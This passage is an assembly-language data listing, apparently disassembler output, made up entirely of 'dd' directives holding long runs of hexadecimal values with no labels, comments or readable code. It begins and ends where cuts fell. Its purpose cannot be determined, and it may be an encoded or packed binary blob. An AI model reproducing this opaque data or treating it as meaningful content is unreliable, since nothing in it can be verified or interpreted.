408AF88h, 0FAC5290Eh, 2DFA42F6h, 4963CB33h, 0D64292D8h dd 0EE680828h, 0B44A111Dh, 0FF0B1664h, 0D39026F9h, 5F4C038h dd 0D84353CCh, 0D6FD49h dd 7B59717Dh, 0F72AD1h, 74F38530h, 0C17E935Bh, 0C7D5ED02h dd 8765621Ch, 344071CBh, 5C0EBEF4h, 0EE003BB7h, 52D527C4h dd 0E6A08179h, 1614C1D3h, 0FD4E8BFh, 0A4132B43h, 8C07287h dd 617720h, 0E19BC9C8h, 318B4AC5h, 1F60848h, 7AA6EE3Ah dd 0C28B07C1h, 0ABC091CCh, 0B518E7AEh, 8EB7EBCAh, 29024DD5h dd 0CF6C8600h, 6DD09FA7h, 0F775DE14h, 2B8B00D6h, 0C9CB62E5h dd 2FC800EEh, 204A94AFh, 2C00D872h, 0B96E44FBh, 0B39ECh dd 2EDD0943h, 76AB52FCh, 2C0AAD00h, 648E6C65h, 4EC900A3h dd 8C02FDDFh, 730C700Dh, 0DACB446Eh, 74AB0B7Eh, 4E01A45Eh dd 0E90E3995h, 7D26E8F9h, 89336200h, 1AC5376Eh, 564462BBh dd 0B761953Fh, 1490407Bh, 8B000925h, 3A07581h, 68BD49h dd 0B6ED474Ch, 905BB47Fh, 536C5Dh, 0FDC75FFh, 65B845h dd 33E80EC6h, 0FE23D890h, 80922D58h, 0EF0B56D9h, 0D7910F32h dd 9E00F52Ch, 6BE5865Bh, 0BD4E8300h, 3B9A4557h, 339005h dd 47032FBFh, 75FE3DC0h, 51CAA800h, 0D54A9764h, 89A102F9h dd 0E28500Bh, 2AA2C660h, 0F109C209h, 220E00A3h, 7F7CC27h dd 0FA7AAD4Fh, 81F4027Fh, 5569CEC0h, 0B0023D00h, 0F801CB98h dd 7AEA0025h, 5D7823F2h, 942CC0D4h, 7D0402DDh, 0D9C05E22h dd 20BD3CD3h, 20103EFh, 0C88023F8h, 0E030E83Dh, 15B63A6Bh dd 0AE7D9C80h, 7A09D226h, 8ED94401h, 5A12B16Ah, 0D800F332h dd 6EE6605h, 0D20C3ECDh, 0FBB81FF8h, 86AA2438h, 49227EB0h dd 2C4FAEFDh, 403E476Fh, 0B104FF21h, 35311BC3h, 0B2B5F8F2h dd 3799003Bh, 453FD21Dh, 0B4026BB6h, 6476291Eh, 0E6B74155h dd 76509CECh, 974117BFh, 9D5B40BEh, 52768B2Ch, 7A92A800h dd 0AF0CB9A9h, 0A04D00C7h, 27E0B26Dh, 5B00D255h, 0FE7D1779h dd 58D6EC23h, 0D02511Ch, 9AF76B1h, 0DE6885E8h, 42FD1600h dd 1484B770h, 818C302Bh, 0CEE60C70h, 5B004F75h, 9EECCD33h dd 1D861499h, 0C039E254h, 0C33CAFD4h, 0DC0BD18h, 6882313Dh dd 0AAE402BFh, 843BAB6h, 6F9656C0h, 290085EEh, 0BEB933FEh dd 0E36D2Fh, 7A48C71Ah, 1DA09BCDh, 3CC59C00h, 0D103919Dh dd 21B4186Fh, 85A15CDCh, 0EE928229h, 3D79973Ah, 0AF81A61Ch dd 0D8F78699h, 6B00782Ch, 31BB4881h, 720011C4h, 0CDF7CFAh dd 6AB744h, 36EB0FD9h, 0F7C26D95h, 0DDE0303h, 0C261B843h dd 9C440Ah, 0FB29FA2Fh, 6CFE6D1h, 53141790h, 0F3AFC3h dd 17E56F2Dh, 36955CAh, 8776B46Ch, 0E458410Ah, 358B1273h dd 521D9612h, 429F5BC0h, 3B36F1CDh, 991EB4E6h, 0FB56703Eh dd 1103A27Fh, 0F9DC8715h, 79160E41h, 0BF27BA6Dh, 0CDF8562h dd 0A73323F0h, 80988F38h, 9183BC61h, 84B065h, 575AF02Dh dd 51B641DEh, 1AE487A8h, 0AA22C100h, 73FD8E43h, 0DFB085h dd 40E33E3Dh, 1CAF7088h, 0F73BE23Ah, 3CB45709h, 76AF4033h dd 6A1849ABh, 5A7CD001h, 85075661h, 2448DA86h, 0CAB48720h dd 18A77CEEh, 0EF975FE9h, 17B0F07Bh, 0CB3930F3h, 0AE4C2318h dd 77B542CCh, 0F8B064h, 8E0CA1A5h, 0BA1FEA36h, 9A635A00h dd 7F097BADh, 0E82718FAh, 752936DAh, 81FC1898h, 0F1968E2Ch dd 6BEF860Fh, 0E4BD0E85h, 138328BDh, 0A22B002Eh, 519D9788h dd 0AC0C1EBCh, 1A74E4F3h, 419C175Dh, 8A1EB2h, 1ACF3731h dd 9F002749h, 0C74ACA5Ch, 300601B5h, 57E4E60Eh, 9500E10Dh dd 2B78756Eh, 5961DCh, 0A99EA424h, 424D41E2h, 5D3C9403h dd 0FB07CA33h, 0FF160347h, 0BEB67189h, 0DECE9D90h, 15FC0603h dd 982FB8E4h, 1422646h, 0E9CFAF3Ah, 0FCCE363Eh, 0DE82A1Ah dd 625D8F05h, 0BC0B0C53h, 0B34923D7h, 3710000Bh, 9F4D083Fh dd 0D6A48BCBh, 70E0183Eh, 0B92F2300h, 0B2A29D40h, 0C1380047h dd 0CF4BC41Ch, 0E1F4CB0Bh, 22D93909h, 0A94A0D6h, 0E65ED1h dd 0DF51CE13h, 0D34DC217h, 39F62B00h, 0AEC70FC3h, 0DA3A01EEh dd 837CDB1Fh, 0B49D8734h, 0A87066BEh, 3D61163Bh, 689235Ah dd 6C207A5Dh, 0E833F4FEh, 6B8EB800h, 923D02A6h, 0AC463F34h dd 1C0B9B82h, 94C6E814h, 27308EE8h, 83AB3E5Eh, 4F295C6Bh dd 145DB918h, 4601AFB2h, 1AFAE0F9h, 989C4D59h, 0B35A8174h dd 741240FCh, 3B00EFCDh, 3D420DBh, 0A43060h, 4565C03Fh dd 4EC64102h, 333A648h, 0D60BF09Ah, 52C2E959h, 902775ECh dd 0A39E5DE3h, 4D117809h, 9F797161h, 63AC940Ch, 0C8D21B0Ah dd 0C101C59Fh, 9A29E20Ah, 0CF12AECh, 85741E3Eh, 1A001D8Ch dd 0B0560193h, 541C55h, 396B3832h, 0FF30E90Fh, 8860A700h dd 0C3BC1E8Fh, 1D220073h, 0FE7C164Dh, 0D000E25Dh, 0CCCEE457h dd 30C4BB42h, 9814E835h, 6198D670h, 3BC34D13h, 5F9A3902h dd 0F646C182h, 9320C624h, 477B1E35h, 4B8687h, 0A14D84CCh dd 0EC0625FAh, 0B1BD37D4h, 4AE6EEh, 86729897h, 65734B4Eh dd 3E7648h, 242C1B17h, 706407D8h, 0CDCF03ECh, 0EF65B443h dd 415DD2D1h, 65600BB2h, 0D4EC0EBh, 353FF100h, 0C531231Ch dd 251F0010h, 1E1609D4h, 3053CD5h, 0FB34E911h, 0F32C38C0h dd 99A01h, 0E6598278h, 0DD52876Eh, 5953D327h, 61685079h dd 5BF3464Fh, 0BA5B4A79h, 0EF8A830h, 0BA17015Dh, 0EFC08D30h dd 31FE2F01h, 0C2CD6806h, 5879A8FCh, 86CD83Eh, 0C10119C7h dd 555911A2h, 0B6DE5032h, 0E2AA7B2Dh, 3E40F1E9h, 0AE0ED9FFh dd 0BD9F56h, 0F8C2D319h, 51B80034h, 3071DA4h, 0E03CFFC5h dd 404A000Eh, 0BADE546h, 3F2E0765h, 23E7AF1Ah, 0C0B5FC6Dh dd 1367CAADh, 0DF885C1Ch, 11C015C0h, 61E87A36h, 937F8B05h dd 0F4DE070h, 5EC6B709h, 17F7548Bh, 571CA08Fh, 0D701667Ah dd 0B08ABB59h, 0C5406CC0h, 23F68BCh, 36FFF593h, 0FF908D0Fh dd 9B3AF280h, 7FF4005Fh, 0F101C781h, 661707A1h, 0A08AF5B9h dd 0D4B12DEFh, 48B22218h, 36ACA10h, 66B93C0Ah, 89B05813h dd 0B60E93Eh, 0FD5E1157h, 0C8B00022h, 6DCDE4C1h, 0EE378357h dd 4EA6BC01h, 4FB52502h, 0FCCDC475h, 0A0EB785h, 0F5BA6640h dd 0B900DFF9h, 8AF6473Dh, 136304C0h, 74E585Ch, 0C04CC184h dd 6F303D2Ah, 60282B67h, 2685BD40h, 4FC2333Ah, 70A3B121h dd 11017DD3h, 4C5E34C7h, 3806FECCh, 30833B0Ch, 676491Ah dd 7B567169h, 94068133h, 3EDF8D6Dh, 8AA7E11h, 45B0057Ch dd 87A72A00h, 8440143Ch, 115D49C8h, 0BBAA0D3Dh, 5010C048h dd 2233BACAh, 0D4005E26h, 626F0C7Bh, 4CC67AFDh, 0F7740F4Bh dd 0D3D95D0h, 66848B46h, 0E83D720h, 8A5930F9h, 8C257710h dd 606CEF40h, 819707E1h, 404B616Fh, 1A8BC62Bh, 46952F03h dd 745F8ABh, 53C2B738h, 0C344A731h, 0A0C1B4C6h, 30109D1Fh dd 49008C6Ah, 6DBBA39Ah, 0BACAF8Ch, 0B5A68252h, 80A0BA07h dd 47A29E64h, 793393Ah, 8B7461AAh, 0AF9B4E80h, 706A0EB6h dd 2B87B0B5h, 8E5B9080h, 4B0096A8h, 5F9E3D7Fh, 0B08999h dd 0BAAB9059h, 0B9A2815Bh, 0AC946907h, 388AF6B5h, 0C3688BE3h dd 184AC7B3h, 8906354h, 8EC3A8B1h, 0A33BB000h, 9645BBA6h dd 6897003Dh, 4490A09Ah, 0B9038D2Bh, 9C8C8E65h, 0BF82C04Ah dd 869F065Fh, 0D16FF695h, 9B927A1Eh, 39AD7E0Dh, 0BC2AF812h dd 0DE261804h, 7BD010FBh, 64E40615h, 9C1E00C8h, 83974448h dd 0ED7E01B0h, 0AF8D3213h, 0F56424F7h, 0EE24C01Ah, 0C1566318h dd 84218E0h, 0CA884048h, 0D16601CCh, 2A464E5Ah, 42C45F3h dd 0A5E2824h, 0E660C29h dd 600C8E88h, 0C6ED31D4h, 59D8D1CCh, 8AEE14A0h, 0E36C6081h dd 48A50164h, 40BDE899h, 94598512h, 7842D441h, 844BA77Ah dd 0F23B9058h, 0A3F91D78h, 8753FC0Eh, 0B328605Ah, 5244864Fh dd 0E89319D2h, 0C0AD2861h, 2E707F94h, 0CB3CB28h, 244C2A3Ch dd 8180F401h, 116BFAC8h, 0AC00732h, 4240B446h, 0C80E879h dd 367A563Dh, 0B509FC92h, 801A04DAh, 7FB9CAB0h, 284A74C6h dd 90CFAAEh, 48AF0547h, 0E4C814A2h, 0EE795880h, 0F953D095h dd 22A4A264h, 0F061560Bh, 88C5422h, 0B84802BCh, 93853710h dd 3C5C913Eh, 190AC7DDh, 0F8CA2F60h, 41954661h, 5C20B461h dd 48908419h, 408C1445h, 0E8C14BF3h, 8C630E29h, 0E4463791h dd 0A8025EA7h, 7C64B07Fh, 41CD98C8h, 4188C2B8h, 642C5E48h dd 0D3302AF0h, 0FAB1192Eh, 6988A6B7h, 0E08AE097h, 0EDF10864h dd 942198A6h, 44D32902h, 0B3E0A116h, 0C2358FCh, 80850222h dd 3099D91Ah, 0A14C9F0Ch, 9DE9578Ch, 4BA80462h, 32888353h dd 0E894E08Dh, 0A9E3E62Ch, 0CDCD3CF4h, 3A244016h, 4846068h dd 288C46C7h, 80148A53h, 0C99A3F5h, 8C17F00Ah, 8BB9A804h dd 0B9E20CCFh, 0FAAD0215h, 0A8461118h, 800A4945h, 62992034h dd 8CA2E60Ch, 9C470A9Eh, 0A21E11F9h, 0B1241BBDh, 2DF9A02Ah dd 0B652020Bh, 4956C13Ah, 0D84D0E14h, 131A7462h, 50BE618Bh dd 48A18042h, 4CE44207h, 8B260426h, 32817CE4h, 0F17935DFh dd 30AFD89Ah, 81586C92h, 2C4D4CAAh, 0F81A9251h, 3FA8D92h dd 1124CECh, 325E9910h, 30A32BB8h, 0F622F404h, 41BC2045h dd 0CCC2B329h, 98C80D12h, 2CA5067Ch, 70CD58F6h, 453DD83Eh dd 48A0FAD9h, 0F00E449Ch, 60083CA6h, 0F2AF064Fh, 0E83CE828h dd 0D5A30AC7h, 0D8A8D23Ch, 18FFE03Ch, 88FB64Dh, 2F0921DCh dd 0D51C2108h, 6FE099DEh, 0BF76FCh, 28662B0h, 0F13D4EBh dd 254A730Ah, 0F780CC51h, 0CD4F7880h, 10C0048Eh, 903CDE26h dd 0C9CB2BACh, 0D5A73401h, 0A26CE002h, 7D854AD8h, 0C5A60068h dd 9150A59Bh, 770C0AC8h, 58B5EBEDh, 0BDD21FA3h, 106218E4h dd 0B900064Ch, 10FF57B6h, 3AB58DAh, 399EEE77h, 0C988365Ch dd 0B60EF0E1h, 0AC54F6h, 857F436Dh, 0B41B0EFBh, 0E1F85657h dd 2707ADF6h, 3F14794Ch, 3CFB7BC1h, 303A9820h, 0ADD94AC7h dd 6500F181h, 7C35EA1Bh, 0AB4CB0h, 9B52E4E3h, 361CECDFh dd 9D5F12C7h, 994FE980h, 6D815CE7h, 4DF3EB02h, 1B42EE9Bh dd 0E0E31414h, 30C1E8A2h, 61F0E4A9h, 40E5EBF0h, 521FF44Fh dd 5940F3A5h, 0EAB3E19Ah, 0EDDF0C64h, 4E90AA5Ch, 0B2EF9F1Bh dd 59E9A018h, 1FE579ADh, 76DDAA5Dh, 51742880h, 56F8F00Eh dd 5EE283A9h, 1878FEABh, 31E8EBA2h, 0A9615FF5h, 0F1E9AB59h dd 0A4810C4Ch, 9E4D0084h, 0A655E4E1h, 5E50F0EEh, 5314F588h dd 7414EAA5h, 0A8F36D03h, 0C03D072Fh, 0C0406E90h, 5701FC49h dd 8330510Ah, 70473182h, 9C981D3Bh, 0F4E4C0F1h, 3567AA9h dd 805A1E3Ah, 7B801455h, 0E584737h, 0BB778897h, 3D05BC63h dd 6EA52E0h, 6B7A0800h, 6F909E75h, 0C071DC58h, 4598A42Ch dd 60827B01h, 383629CAh, 39B0058Bh, 0BBB63128h, 0B910F9E8h dd 6519848Dh, 4101A1A0h, 38ED18h, 0C89C756Ah, 65433C68h dd 0C8310D88h, 31918D3h, 88BFBA2Ch, 0FED6288h, 4015EC6Ah dd 7263A120h, 0A0C0FC29h, 0C6870144h, 81AE6A59h, 14A8D252h dd 302C481Eh, 9F0E5136h, 82973E2h, 83A21DF1h, 2B3E7F00h dd 0A18899E4h, 4118BDD0h, 6532386h, 0EB774403h, 64311833h dd 0A784697Eh, 0B8802AFAh, 98C30A39h, 98A48353h, 7439987h dd 0DC55BF28h, 0ADF1EB60h, 0C3B231C3h, 37BE6931h, 0F2ED1814h dd 58FF2A4Ch, 8D828483h, 0A3704820h, 611890ADh, 9F8B936h dd 86B62137h, 7DE0D230h, 4C385418h, 3558A904h, 4F5E843h dd 51BBB191h, 392886A1h, 0F183FF8h, 1D31019Fh, 0A48252FEh dd 744D4BB2h, 9807B8B1h, 10C3210Bh, 86F4B884h, 32A07123h dd 5C11CD50h, 10D8E20Ah, 0E2877C34h, 4214AC01h, 430C3EDEh dd 0A849DF1h, 0D33AE421h, 95F9E150h, 14F2210Ah, 0A5F828BCh dd 0FF88A242h, 106A9444h, 0AA19C51h, 356C12E4h, 0C298B908h dd 5C648365h, 6E086C91h, 22B5933Fh, 0A32F6960h, 237A3E2h dd 6B5AC021h, 8C643607h, 263B02F9h, 350609EEh, 4C229906h dd 15EC4490h, 78C2FF33h, 3E08C474h, 91454081h, 1190096Fh dd 576E1441h, 85B9C44Ch, 980A98CCh, 0D18C64F4h, 0D338C83Ah dd 870648AEh, 89B9FA4Ah, 74A73811h, 42E8EBA4h, 0DC468C65h dd 41C3A886h, 783A3F96h, 93F57121h, 43848A4h, 0C8D34A07h dd 2B036FDCh, 0D70C9CBDh, 7886DD86h, 363C44E0h, 59F3113h dd 0D3D92004h, 71FD0C8h, 2FD68BEBh, 0B24BC07Ah, 6B0CE1C1h dd 68EFC3F6h, 26A8B8DCh, 1347F5Bh, 9736A58Bh, 44C03047h dd 0EB2837EAh, 8A0CD805h, 28A3BB87h, 0AAC06C0h, 10A4F3A7h dd 986AB601h, 90BA7124h, 804C8FCEh, 444EBF43h, 0EECB882h dd 91FD717h, 0C081C454h, 70F39252h, 6F0084C6h, 19CA47FDh dd 1413E670h, 8C9491C3h, 3077FE50h, 0C470A827h, 7501E77Ch dd 0EF69FF2Eh, 0F5CC09BEh, 2831250h, 0C13824D5h, 60E92888h dd 0E7013BE4h, 0EBA4B9ECh, 0C0F847E1h, 0A3882E85h, 0D09D0038h dd 0DB9839A0h, 6A4B7407h, 0AB4072D5h, 8075D6h, 0EC64CBD3h dd 4D63B73Eh, 765CA777h, 0A0DF0044h, 74A3A23Ah, 0DBD503D6h dd 0DE6A456Bh, 283742A3h, 71E3106Ch, 67A2E03Ah, 0DD9C014Fh dd 0DF993BA0h, 0CBA7F864h, 9B0F97F0h, 0F4E74D5h, 984607D2h dd 0AB446980h, 0B6AE1AD7h, 435B849h, 7C9202F7h, 0B44067D2h dd 3877AED1h, 0C3189F52h, 0B7F25Bh, 476B0610h, 84E9DE68h dd 9D46DC00h, 0F8C12125h, 186260AEh, 7DCCFEBEh, 0C2067072h dd 0C340A227h, 5FF70048h, 0CA6972A7h, 330E4CA5h, 0E0176390h dd 0F944D334h, 98503FEh, 536BD116h, 5DB6C1C8h, 214D4600h dd 0EAFDF9B2h, 25500351h, 0DD7EC728h, 69814488h, 0F6039CFEh dd 0A713B13Ch, 0F71806A2h, 7090E247h, 0F628FAF8h, 4C0C4037h dd 0E940DC4Ah, 9FB4376Ah, 0F9A18608h, 0C1AE090Eh, 0C02B4827h dd 0C096DCB4h, 0C01DED23h, 78EF06BFh, 635010C0h, 60DF0EEAh dd 4E9968E9h, 7A808CFAh, 3C780B1h, 8171F8CCh, 420E0DBEh dd 0F0406F04h, 821ECCh, 0E7634F9Ch, 52DD78D2h, 450AD411h dd 0E18C29E3h, 0C2CE8009h, 80B0603Ch, 79100B09h, 50E888A1h dd 0C89EC0F8h, 6FCE0305h, 0E45F5B42h, 22F54D00h, 7A767932h dd 669A0C4Eh, 4089414Ah, 92C148A1h, 28720C48h, 79644584h dd 76098314h, 0E03BFCA2h, 0FEEF34h, 7DB73962h, 0A19AA337h dd 0D675DB00h, 4971D299h, 0F06FF698h, 78B3A8h, 7364A694h dd 54B09C3Bh, 80006AF8h, 0D769A592h, 2A74A71h, 3FE3CF96h dd 4493C160h, 3035C0EDh, 4514776Bh, 0C7046AC2h, 0C115975Eh dd 80F1064h, 0A195A4B1h, 74984322h, 8A487B8h, 0EA43427Ch dd 0B5403E7Ch, 0A0C17014h, 481C2BCh, 99F4E852h, 84DC610h dd 154C28C2h, 98B33028h, 528C593Ah, 91828810h, 46323CEEh dd 417C0846h, 47001D0h, 0C47403B9h, 45B09CDBh, 0CA4A904h dd 8CA0BF2Bh, 0B81C5020h, 28B5A185h, 22B4A423h, 0EA44B509h dd 12E889EBh, 48EE24E9h, 22EC91EFh, 0E3E244EDh, 0E112E089h dd 0E748E624h, 0E522E491h, 7C00DA7Ch, 0B577A699h, 63B19894h dd 0C543C180h, 8441B829h dd 42EE965h, 8A472B2h, 0A93CC06Ch, 0B607C99Dh, 0A6C342DEh dd 67C07DC7h, 5D434Bh, 0C6446489h, 7B9D9CB7h, 427DCEE8h dd 4BA3EBF1h, 40C6BEE3h, 405BD640h, 58804765h, 4447189h dd 0D34AB76Dh, 0BF48A6A9h, 0FA043FF4h, 9895C4ACh, 490AC88h dd 96B07CA4h, 0C90A5F9Eh, 8F553843h, 7AC467CEh, 769340B4h dd 0C8927845h, 18A09109h, 57FD0485h, 6E8C170h, 0CC4BC8D2h dd 0A4190245h, 51214A6Bh, 0C03895C2h, 9108F6B5h, 0C81FF5E0h dd 0D60CCCC5h, 20183Fh, 3D30466Ah, 0BEDA7743h, 39C17E33h dd 0FB71E04Dh, 84290AC9h, 4528C564h, 0E470EA78h, 6185AA62h dd 3A5B7982h, 83309FE6h, 90C1B31Ch, 0AE9258AFh, 0B87DE0h dd 0DF99A1C0h, 0B788A56Eh, 0AB406301h, 8B4467DDh, 0A7D085C9h dd 4B7403A3h, 3872DF79h, 7767A1B8h, 38B1493Eh, 95D08197h dd 6BCE984Bh, 3A83A6D4h, 7F7CA9C0h, 0DAD5188Eh, 75CB4076h dd 0D7A73A03h, 0EDA4408Bh, 0D2A64020h, 0A94F3C76h, 85B6830Fh dd 0D64B6C81h, 82304DDEh, 0D19D4298h, 881C9867h, 0A09B2097h dd 72814A00h, 71D1D640h, 8560A642h, 7E9C59ECh, 3AB5A488h dd 7B0A5B84h, 0CB184A45h, 3E60A4F6h, 15AE9094h, 2CD0D345h dd 0DF9841C2h, 9199C481h, 0A8ADF0B2h, 3892AE2Bh, 33D491Fh dd 6CBDAD80h, 0A5A3BB41h, 401C1429h, 0AD9200C0h, 9DA99C96h dd 977462D5h, 0F871A82Ah, 0D2456E04h, 9CCAB48Dh, 0AB78C0BAh dd 7869A95h, 7CA192B7h, 988BC0B0h, 3F0275A8h, 4367D099h dd 4A464159h, 31DBF1h, 50E3D1D1h, 49453228h, 0D50098AEh dd 957879D4h, 0A3FC64A8h, 99F0419Fh, 4A2802E3h, 9892759Fh dd 6CA02066h, 720EA0ADh, 9ADED44Fh, 8574B050h, 91966B57h dd 805D1C17h, 0D6AA75B5h, 63E6416Eh, 0A6469809h, 989655A3h dd 0A5B058ABh, 383A6BD2h, 13AE3FA7h, 0D012D879h, 3ACF40Fh dd 126DA39Eh, 77D140h, 4E75648Eh, 0A00ED0ABh, 9ACF9D3Fh dd 0EC8C8010h, 7364A33Eh, 6BD61643h, 63700045h, 0A9D29D3Ah dd 0D4486AF0h, 0DB9F0CA0h, 62D01074h, 6BDE6068h, 5804AC43h dd 67D7A33Ah, 40D8C6AAh, 71CB6A0Eh, 0C8779F3Bh, 5589DD87h dd 7E60D4ADh, 0A08994C9h, 9F55D1A3h, 0F8A97FD0h, 0A7467241h dd 0D476A0E1h, 3E769601h, 636564A6h, 75C3C60h, 0DFA09790h dd 0D1D74521h, 0B84AB827h, 0C7DBF3B0h, 848F57A9h, 0E8009CC9h dd 7BA26A40h, 71908EF9h, 72DFE43Ah, 80709CAAh, 0F6D70C9Eh dd 0A6A5B50Bh, 0BFC423A1h, 0B482FD6Eh, 26E4CE67h, 0CE0C95A0h dd 0CF980236h, 0DCC14A70h, 0D843D267h, 75F828A6h, 92C44B58h dd 97A01C07h, 9D0CA219h, 0EFE40AD7h, 64755099h, 0E317CAC0h dd 2002D0A2h, 6177D5B2h, 69BEDF10h, 0A81D713Eh, 214517D8h dd 4BD19D20h, 7C3C482Ch, 3A7580C1h, 3431D2ABh, 0F880D4CDh dd 4371A16Ah, 9BF9CF9Ah, 0F58096B0h, 50811834h, 0C7D7179h dd 9C02BBBEh, 91A85B92h, 5C0384D9h, 8C4A78CEh, 98538B38h dd 0C89EA218h, 5873AC8h, 0D64067CEh, 80683B43h, 0DC794B95h dd 0A63A2C77h, 7A400BD8h, 0D8A364A0h, 0A7554967h, 0D1F86C18h dd 84630050h, 886482A6h, 20985D44h, 0EBDBD412h, 3E68F044h dd 0FE9544F0h, 407127DAh, 0D4793C92h, 0DF84B680h, 9BAB74h dd 9D446BCEh, 9C4B6FD6h, 8C96D02Eh, 9463DB07h, 779081CBh dd 0ABD1BB79h, 50000BF6h, 9E4F68CDh, 674B20CFh, 0A8F072CFh dd 9E416BD0h, 0D8A79250h, 0B5314AC8h, 85B16870h, 0DAA0AAEDh dd 34D25280h, 730B81ECh, 0EED0AB4Bh, 0F0348550h, 992F416Dh dd 0BC90B0DFh, 0A0407463h, 3A8AD6F0h, 86008BB4h, 984172D2h dd 4E307A64h, 0CCA621A3h, 0AB441D74h, 0C84F14A1h, 300EA027h dd 44E0CC96h, 8010914Eh, 1764C938h, 0C078C710h, 0B0D64463h dd 0DA0DE8DFh, 607C2865h, 72BF6909h, 3DC1C08h, 6CDBA239h dd 78DF2001h, 65A3983Ah, 6ED599D3h, 0E05DB838h, 94C4C0CAh dd 8C428085h, 99A08A13h, 54E12EF8h, 97A6E0EFh, 9988C5D5h dd 0ADC1DD1h, 19D08664h, 0E09E40D0h, 9D134283h, 41E6DA1h dd 809114h, 5E4B75A3h, 1595D07Ah, 0F074D69Ch, 0DE60A030h dd 0DCBE7671h, 1928AE66h, 0E948A0D7h, 9275023Ah, 0C4DC9858h dd 0B06096B7h, 5E3F7248h, 9760D4B4h, 906CD499h, 0F44DF344h dd 0D2936429h, 204278F0h, 0AA783070h, 984F9707h, 9D5477D0h dd 0BA86CF0h, 0A7406BDCh, 94557CBFh, 0A4BE9CC3h, 74DEB480h dd 0DCAB4C39h, 0DBB49200h, 0F94A4B6Eh, 0C2E10412h, 0FDEE4F4h dd 0F493C743h, 0E9E06BE9h, 5B30A9E9h, 0B7CB51CCh, 9AB4002Ah dd 0D61E1571h, 4A00C097h, 0F9A3F64Eh, 4B0E3516h, 71F0BC33h dd 0C8EF7700h, 70D11706h, 3AC1007Dh, 6D95B473h, 0BF360C0Ah dd 207058EAh, 0BE009AABh, 6F0D38E6h, 1AC27Dh, 0F345ACB1h dd 0E9DE6536h, 0D9D04905h, 203C78A6h, 60E4629h, 8FEB5B4Dh dd 0F75A0D20h, 8390ECA7h, 3BDEB3B8h, 4DAAC978h, 0A87422E0h dd 0EAA988h, 6D42A114h, 172A1AFBh, 48336805h, 47C1CB8Dh dd 0B450E850h, 60E70F6Dh, 3FC1F8DAh, 69027127h, 7AD6B6CAh dd 0D5609946h, 0FE82F903h, 0B815D893h, 0A27C0C9Ah, 40F028D3h dd 1B41534Fh, 1BCD097h, 0C29E9D30h, 83E8B70Eh, 0F9F1D2E0h dd 0CAE181F8h, 0C3D901E3h, 152B4F0Ah, 7BC440D5h, 0B1D0AB48h dd 8639ACE0h, 0BE234484h, 101C231Ah, 2B78433Bh, 3380D41Bh dd 93449FA6h, 294561CEh, 0EC05AB69h, 0A407B7C2h, 0A57FCAEAh dd 216F46h, 1005B38Ah, 812382BCh, 4D01FFE0h, 4303C118h dd 0BFE8C92Fh, 6C21AD4h, 0FC029153h, 5476FE3Ch, 1F995BDh dd 8DF5ECDCh, 301C1862h, 0DE1D32C9h, 0FB0CCB48h, 194BC00Dh dd 486096F3h, 2E3AE0C0h, 0B6408512h, 0CBE33804h, 0FA7117Fh dd 506D6680h, 2303D20Ah, 6CD1DC7Ah, 3C310C41h, 66C1C7FFh dd 81B3709h, 0FB04008Ch, 0DD612747h, 68A89880h, 325014E1h dd 6844FA84h, 30CB48CFh, 4A12F11h, 0B179DF74h, 3411BC80h dd 501083C9h, 63005F97h, 0D32D0BEFh, 15184544h, 1BF0B19Dh dd 6CD5886Dh, 20A59129h, 30281CE2h, 91401DEh, 685C73h dd 0A7B9DD20h, 14CA0A59h, 0B89FCB2Ah, 0DBFB4B1Dh, 9BDC073h dd 2003D280h, 0EAB16F96h, 0DCC881B4h, 0EB929150h, 0C8FCA043h dd 0D0679337h, 3104E880h, 0BFBBC9BCh, 0F044C088h, 62AB1C68h dd 0D30F8676h, 0C21F1888h, 99D2A027h, 5A58060h, 87C7FC91h dd 5AD8400h, 0EE06BF41h, 3CAEFE86h, 6930534Bh, 12C3A3B8h dd 0FACE4F0Eh, 98412C47h, 1F173F6Fh, 0C53EC067h, 99A849EBh dd 6190C004h, 2C3105ACh, 444078A2h, 0B4008973h, 0D581B805h dd 77E868h, 376C5040h, 4D66E7C4h, 0D49F0E18h, 3FFF67E0h dd 0FC141939h, 0D2C488BEh, 304C896Bh, 0B1050A24h, 434F40FAh dd 3DB8E450h, 1AFBC0BEh, 183EF33Fh, 18B4CC5Fh, 4940CE61h dd 3400782Ah, 141166Ch, 0B6A807Bh, 91F76B4Eh, 0A3AB0400h dd 99008E68h, 0B3963CF4h, 29F9AB2h, 34E5C612h, 0E65FA346h dd 0F65225A0h, 0B7464CFEh, 78D260C0h, 6F9F4FF9h, 74B818D8h dd 31C0B146h, 0D686B8h, 0A035D1B3h, 3175B274h, 0BF11B752h dd 26302304h, 0C980048Dh, 0DD5BA215h, 0F933061Ch, 69720F3Fh dd 0B98F197h, 44314375h, 0EE5FFEFFh, 22A616A4h, 0FD004078h dd 65312161h, 0C41E9E7Fh, 0D604D297h, 4097C1A9h, 5A7C098h dd 0D743C293h, 5AF8680h, 1C001B65h, 0E6A9A19Ch, 18C3274Dh dd 0D08B470Eh, 0F3286B4Ch dd 9F52A471h, 3074B230h, 0AD2B23F0h, 0BE06F8DBh, 0F9E2E8h dd 0D31A54B0h, 0D8329AD1h, 4E15E10Eh, 0E8FC9761h, 204B7585h dd 0DCB297CCh, 2BE8D400h, 46FBAB0Ah, 4CA0C976h, 0E5EC5818h dd 641431C7h, 0A0CF7AC3h, 4C993341h, 0D53A4C8Fh, 14692C85h dd 0E1B86092h, 468A71C8h, 105A0734h, 30882004h, 0DC3F06C3h dd 0B59C68C0h, 0C1DF530Eh, 0CE1045D8h, 4AB60037h, 318D0076h dd 61A78B5Ch, 49B87C62h, 0CBEFFE1Eh, 98074952h, 0BF93C29Ch dd 61502A83h, 0B1D90020h, 1029D295h, 70708A23h, 46483D00h dd 6AE62131h, 7F573E93h, 629CB860h, 0D66513E7h, 0B8606448h dd 616BD1BDh, 5A35946h, 22F9407Ah, 0BF3AE137h, 655712FAh dd 0F8FB5028h, 0E6309A73h, 0D30624F7h, 33375050h, 0A902B80Ah dd 4C02803Ah, 0E8E8B24Ah, 0D6C0F0h, 6F9A01AFh, 37C560B6h dd 0DE088666h, 77740021h, 5F96FC01h, 6C0CEFADh, 68CFC6C7h dd 0C0CD545Ch, 557B00AEh, 0F5A06024h, 311ECAD0h, 8F02A26Eh dd 2ABDEF6h, 10409DB3h, 6F265F93h, 0BD50345Ch, 5B63134Dh dd 0A1240099h, 0C9263851h, 0A5C0D909h, 4CA07F21h, 0B0F59E64h dd 8A9CFB03h, 4B84C345h, 7C4F908h, 12F59681h, 23181BDBh dd 0AE09AFF8h, 9E2F8501h, 21DB7C22h, 0C001B6ABh, 0A404A9A7h dd 70A2FB4Dh, 80E6485h, 6403B057h, 0CA96BF6Dh, 4FA3C002h dd 893E6Bh, 